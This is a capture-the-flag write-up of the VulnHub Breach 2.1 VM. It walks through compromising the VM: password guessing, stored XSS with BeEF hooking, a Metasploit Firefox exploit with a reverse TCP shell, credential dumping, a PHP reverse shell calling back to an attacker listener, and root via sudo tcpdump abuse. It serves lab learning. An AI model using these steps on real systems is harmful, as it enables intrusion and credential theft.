Breach: 2.1
Location
https://download.vulnhub.com/breach/Breach-2_final2.1.zip
Description
Second in a multi-part series, Breach 2.0 is a boot2root/CTF challenge which attempts to showcase a real-world scenario, with plenty of twists and trolls along the way.
The VM is configured with a static IP (192.168.110.151) so you’ll need to configure your host only adaptor to this subnet. Sorry! Last one with a static IP 😉
A hint: Imagine this as a production environment during a busy work day.
Shout-out to knightmare for many rounds of testing and assistance with the final configuration as well as rastamouse, twosevenzero and g0blin for testing and providing valuable feedback. As always, thanks to g0tmi1k for hsting and maintaining #vulnhub.
VirtualBox users: if the screen goes black on boot once past the grub screen make sure to go to settings —> general, and make sure it says Type: Linux Version: Debian 64bit
If you run into any issues, you can find me on Twitter: https://twitter.com/mrb3n813 or on IRC in #vulnhub.
Looking forward to the write-ups, especially any unintended paths to local/root.
Happy hunting!
Enumeration
root@PlanetMars:~# nmap -T4 -A -sV -Pn -p- 192.168.110.151 Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-28 19:58 CEST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.110.151 Host is up (0.00050s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 40402/tcp status |_ 100024 1 54166/udp status 40402/tcp open status 1 (RPC #100024) 65535/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0) | ssh-hostkey: | 1024 f3:53:9a:0b:40:76:b1:02:87:3e:a5:7a:ae:85:9d:26 (DSA) | 2048 9a:a8:db:78:4b:44:4f:fb:e5:83:6b:67:e3:ac:fb:f5 (RSA) |_ 256 c1:63:f1:dc:8f:24:81:82:35:fa:88:1a:b8:73:40:24 (ECDSA) MAC Address: 08:00:27:5C:61:B9 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.4 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.50 ms 192.168.110.151 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.58 seconds
The scan shows that port 65535 runs SSH. So I’ll start there.
root@PlanetMars:~# ssh 192.168.110.151 -p 65535 The authenticity of host '[192.168.110.151]:65535 ([192.168.110.151]:65535)' can't be established. ECDSA key fingerprint is SHA256:r3uJxHJmvGvDbfvH0Y90EO5UAQNeokBIsxs6eDNpEdU. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[192.168.110.151]:65535' (ECDSA) to the list of known hosts. ############################################################################# # Welcome to Initech Cyber Consulting, LLC # # All connections are monitored and recorded # # Unauthorized access is encouraged # # Peter, if that's you - the password is in the source. # # Also, stop checking your blog all day and enjoy your vacation! # ############################################################################# root@192.168.110.151's password:
There is some useful information here. There is an user called peter, he has a blog and the password is in the source.
“Welcome to Initech Cyber Consulting” suggest this is a reference to the movie “Office Space“. So peter would be Peter Gibbons.
I searched google with all kinds of queries containing “blog”, “peter gibbons”, “vacation” and “Initech”. Nothing helpful come back. After a long time I figured I maybe was overthinking the whole thing and tried what literally was said in the banner. “The password is in the source“.
Password possibilities:
“in the source” –> nothing
“inthesource” –> bingo!
root@PlanetMars:~# ssh 192.168.110.151 -p 65535 -l peter ############################################################################# # Welcome to Initech Cyber Consulting, LLC # # All connections are monitored and recorded # # Unauthorized access is encouraged # # Peter, if that's you - the password is in the source. # # Also, stop checking your blog all day and enjoy your vacation! # ############################################################################# peter@192.168.110.151's password: Connection to 192.168.110.151 closed.
It worked. The only problem is, that the connection was closed immediately. I gave it another try, but the result was the same. So the username:password combination worked, but was closed immediately. This should have a function and I thought about some kind of portknocking function. So I started another nmap scan.
root@PlanetMars:~# nmap -T5 -A -sS -p- 192.168.110.151 Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-28 21:01 CEST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.110.151 Host is up (0.00054s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Initech Cyber Consulting, LLC 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 40402/tcp status |_ 100024 1 54166/udp status 40402/tcp open status 1 (RPC #100024) 65535/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0) | ssh-hostkey: | 1024 f3:53:9a:0b:40:76:b1:02:87:3e:a5:7a:ae:85:9d:26 (DSA) | 2048 9a:a8:db:78:4b:44:4f:fb:e5:83:6b:67:e3:ac:fb:f5 (RSA) |_ 256 c1:63:f1:dc:8f:24:81:82:35:fa:88:1a:b8:73:40:24 (ECDSA) MAC Address: 08:00:27:5C:61:B9 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.4 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.54 ms 192.168.110.151 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.86 seconds
Webserver
My hunch paid off and this time port 80 was open.
They really shouldn't have taken my stapler away...
In the source code there is a comment.
<!--I like hints! Here at Initech we don't trust our users and either should you!--> <!--I'm not just going to stick creds here, really, I'm not. Sorry-->
After checking the existence of robots.txt (which wasn’t), I fired up dirb.
root@PlanetMars:~/Documents/CTF/breach2# dirb http://192.168.110.151/ .. ==> DIRECTORY: http://192.168.110.151/blog/ ==> DIRECTORY: http://192.168.110.151/images/ + http://192.168.110.151/blog/index.php (CODE:200|SIZE:5600) + http://192.168.110.151/blog/README (CODE:200|SIZE:721) ==> DIRECTORY: http://192.168.110.151/blog/smilies/ ==> DIRECTORY: http://192.168.110.151/blog/wysiwyg/ ..
The blog that was mentioned earlier and a page called wysiwyg (what you see is what you get).
According to the www TinyMCE is a platform independent web-based JavaScript HTML WYSIWYG. TinyMCE enables to convert HTML textarea fields or other HTML elements to editor instances. After checking exploit-db both blogphp as tinymce are possibly vulnerable. Because there is a login page, I first try to get an error response…..nothing.
Cross Site Scripting
I return to the exploit-db page and start listing the possible expoits for blogphp. It seems there is a persistent XSS vulnerability. Normally XSS is useless in a vm (because of the lack of interaction). But because other options are running out and the picture of beef was quite clear, I’m going to try and hook someone (in this case something) with beef-xss.
When I follow the instructions about the vulnerability it would take not long before I hooked my victim (cool feature btw).
It looks like I hooked Peter and he is using Firefox version 15. After checking exploit-db again, it seems that FF versions 5.0 until 15.0.1 are vulnerable and because of this vulnerability the AddonManager API can be invoked to silently install a malicious plugin. I also got his cookie for the grabs.
blogphp_username=admin; blogphp_password=0192023a7bbd73250516f069df18b500
Creating the malicious URL
I fire up metasploit and searched for the exploit mentioned on exploit-db.
The one I can use is exploit/multi/browser/firefox_proto_crmfrequest with the firefox/shell_reverse_tcp payload.
msf > use exploit/multi/browser/firefox_proto_crmfrequest msf exploit(firefox_proto_crmfrequest) > set PAYLOAD firefox/shell_reverse_tcp msf exploit(firefox_proto_crmfrequest) > set LHOST 192.168.110.3 msf exploit(firefox_proto_crmfrequest) > set SRVHOST 192.168.110.3 msf exploit(firefox_proto_crmfrequest) > exploit -j [*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.110.3:4444 [*] Using URL: http://0.0.0.0:8080/NW9IzDE5f7h msf exploit(firefox_proto_crmfrequest) > [*] Local IP: http://127.0.0.1:8080/NW9IzDE5f7h [*] Server started.
Creating the Iframe
Next I’m going to use the created URL from metasploit and inject it inside an Iframe with beef.
Getting a command shell
[*] Meterpreter session 3 opened (192.168.110.3:4433 -> 192.168.110.151:49879) at 2016-08-30 11:59:33 +0200 meterpreter > shell Process 2014 created. Channel 1 created. /bin/sh: 0: can't access tty; job control turned off $ id uid=1000(peter) gid=1000(peter) groups=1000(peter),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),115(bluetooth),1003(fishermen)
Now that I’m in, let’s get a proper TTY shell and start the recon.
$ python -c 'import pty;pty.spawn("/bin/bash")'
When I look at /etc/passwd it seems there are 3 users bill, peter and milton.
In the home dir of peter there is the shell script that’s responsible for the refreshing of the members.html page.
When I look for world writable directories I see there is another website in the form of /html2/ and it has an oscommerce directory in it.
When I use compgen -c I get a list of all installed applications. One of them is MySQL. Let’s try to find a file with some useful credentials.
peter@breach2:/usr/bin$ find / -name "config.php" 2<&1 | grep -v "Permission denied" /var/www/html/blog/config.php
MySQL
User root is set with no password. Let’s log in.
peter@breach2:/usr/bin$ mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 67 Server version: 5.5.49-0+deb8u1 (Debian) Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | blog | | mysql | | oscommerce | | performance_schema | +--------------------+ 5 rows in set (0.29 sec)
When looking at the content of the databases, I find some credentials in the oscommerce database.
+----+-----------+-------------------------------------+ | id | user_name | user_password | +----+-----------+-------------------------------------+ | 1 | admin | 685cef95aa31989f2edae5e055ffd2c9:32 | +----+-----------+-------------------------------------+
After cracking the hash, the result is ’32admin’. Bit odd with the ‘:32’ behind it, which I needed to drop btw to get a successful crack. Maybe something with salting the password. Because I now have credentials for the oscommerce site, I’ll probably figure it out later on.
Finally I check sudo -l to check what peter can do on this machine. It turns out that peter can start and stop apache2 as root. Well, this will come in handy with the oscommerce site.
peter@breach2:/usr/bin$ netstat -tlpn
Netstat shows that ports 3306 and 2323 are listening on local host. Port 3306 is the default port for MySQL, but the interesting thing is port 2323.
peter@breach2:/usr/bin$ telnet 127.0.0.1 2323 telnet 127.0.0.1 2323 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 29 45'46" N 95 22'59" W breach2 login:
Houston do you copy?
Coordinates? Where do they lead?
After I put the coordinates into Google Maps I was dropped right onto the Houston Police Officers’ Memoria. But why and to what end? The coordinates were followed by a login. I needed an username and password. Off course I tried the found oscommerce credentials, but that didn’t pay off. I checked Google for the combination “Office Space”, “Houston” and “movie” and according to the IMDB Trivia, Houston was where Peter lived. This couldn’t be a coincidence.
breach2 login: peter Password: houston Login incorrect breach2 login: Peter Password: houston Login incorrect breach2 login: Peter Password: Houston Login incorrect breach2 login: peter Password: Houston Login incorrect
<18+filter>!@##$#%@!</18+ filter> Alright, that didn’t worked. But after a while (and a nice refreshing drink), it downed on me that there were other users on the machine. So let’s try those too.
Login incorrect breach2 login: milton Password: houston Login incorrect breach2 login: Milton Password: Houston Login incorrect breach2 login: milton Password: Houston Last login: Wed Jul 20 21:04:18 EDT 2016 from localhost on pts/0 Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 29 45'46" N 95 22'59" W 3 2 1 Whose stapler is it?
I think I know whose stapler it is hahahaha.
I know the question, just not the answer. But this riddle is scripted and it’s coming from the machine. So I need to find the script that is running this and extract the answer.
peter@breach2:/home/peter$ grep -rnw '/' -e "Whose stapler is it" 2>/dev/null /usr/local/bin/cd.py:16: question = raw_input("Whose stapler is it?") peter@breach2:/home/peter$ cat /usr/local/bin/cd.py .. while countdown >0: time.sleep(1) print(countdown) countdown -=1 if countdown <1: question = raw_input("Whose stapler is it?") if question == "mine": os.system("echo 'Woot!'") ..
And there we got the answer.
Checking out Milton
sudo -l Sorry, user milton may not run sudo on breach2.
That’s disappointing. Milton can’t use sudo. After some time it looks like Milton as an user isn’t that useful. But why all this trouble? Because there was some form of port knocking in the beginning, I hoped that successfully telnetting to port 2323 opened another port.
8888/tcp open http nginx 1.6.2 | http-ls: Volume / | SIZE TIME FILENAME | - 15-Jun-2016 20:50 oscommerce/ | 867 15-Jun-2016 18:09 index.nginx-debian.html |_ |_http-server-header: nginx/1.6.2 |_http-title: Index of /
OS Commerce
It looks like OS Commerce is running version 3.0 alpha 5. After a quick search it looks like there are plenty vulnerabilities for OS Commerce and for this version there is one in particular.
-------------------------------------------------------------------------- osCommerce 3.0a5 - Local File Inclusion / HT | ./php/webapps/33913.html --------------------------------------------------------------------------
Let’s start with some basic enumeration and fire up dirb.
.. + http://192.168.110.151:8888/oscommerce/.htaccess (CODE:200|SIZE:829) ==> DIRECTORY: http://192.168.110.151:8888/oscommerce/admin/ ==> DIRECTORY: http://192.168.110.151:8888/oscommerce/download/ ==> DIRECTORY: http://192.168.110.151:8888/oscommerce/ext/ ==> DIRECTORY: http://192.168.110.151:8888/oscommerce/images/ ==> DIRECTORY: http://192.168.110.151:8888/oscommerce/includes/ + http://192.168.110.151:8888/oscommerce/index.php (CODE:200|SIZE:9029) + http://192.168.110.151:8888/oscommerce/info.php (CODE:200|SIZE:8064) ==> DIRECTORY: http://192.168.110.151:8888/oscommerce/pub/ ==> DIRECTORY: http://192.168.110.151:8888/oscommerce/templates/ ..
Because I already have the admin credentials from earlier on, I thought it would be a good time to use them.
After several (a lot) of tries to get the HTML injection working, I focus on a different approach. Maybe it’s possible to alter an already existing file and create a backdoor. But when I try to alter one of the files I get an error 🙁
Error: The product images directory is not writable: /var/www/html2/oscommerce/images/products
That’s not gonna work. So I need a folder that is writable at my level. When I check for some world writable folders on the server in the /html2/ directory it seems there is one.
milton@breach2:/var/www/html2$ find /var/www/html2/ -perm -0002 -type d /var/www/html2/oscommerce/includes/work
Another reverse shell
To get a reverse shell I used the php reverse shell from pentestmonkey. But when I try to wget it, it arrives empty. To solve this problem, I compress the php file and give it another shot. This time it worked.
root@kali:~# nc -lvnp 31337 listening on [any] 31337 ... connect to [192.168.110.3] from (UNKNOWN) [192.168.110.151] 45768 Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux 11:35:08 up 4:53, 4 users, load average: 0.01, 0.03, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT milton pts/2 localhost 07:12 1:47m 0.20s 0.19s -bash milton pts/10 localhost 11:19 40.00s 0.14s 0.13s -bash uid=1001(blumbergh) gid=1001(blumbergh) groups=1001(blumbergh),1004(fin) /bin/sh: 0: can't access tty; job control turned off $
Now I’m in as blumbergh (bill). First I switch to a proper TTY shell and then check with sudo -l what this account can do.
User blumbergh may run the following commands on breach2: (root) NOPASSWD: /usr/sbin/tcpdump
TCPDUMP
So this account can run tcpdump as root. I know it’s a packet capture program. But how this could help me get root I’m not sure. Thanks to a helpful site I learned how to get root by abusing tcpdump when running it as root.
blumbergh@breach2:/home/bill$ echo -e "cp /bin/sh /home/bill/sh_suid\nchmod 7555 /home/bill/sh_suid" > tmpfile blumbergh@breach2:/home/bill$ ls tmpfile blumbergh@breach2:/home/bill$ chmod +x tmpfile blumbergh@breach2:/home/bill$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmfile -Z root dropped privs to root tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes Maximum file limit reached: 1 blumbergh@breach2:/home/bill$ ls -l /home/bill/sh_suid -r-sr-sr-t 1 root root 125400 Aug 31 11:56 /home/bill/sh_suid blumbergh@breach2:/home/bill$ /home/bill/sh_suid # whoami root
YEAH!!!! When I check the root folder I get the price for all this hard work!
Conclusion
This was a very fun challenge and an enormous learning experience.
Thanks to mrb3n and all the people who have made this boot2root challenge one of the best so far.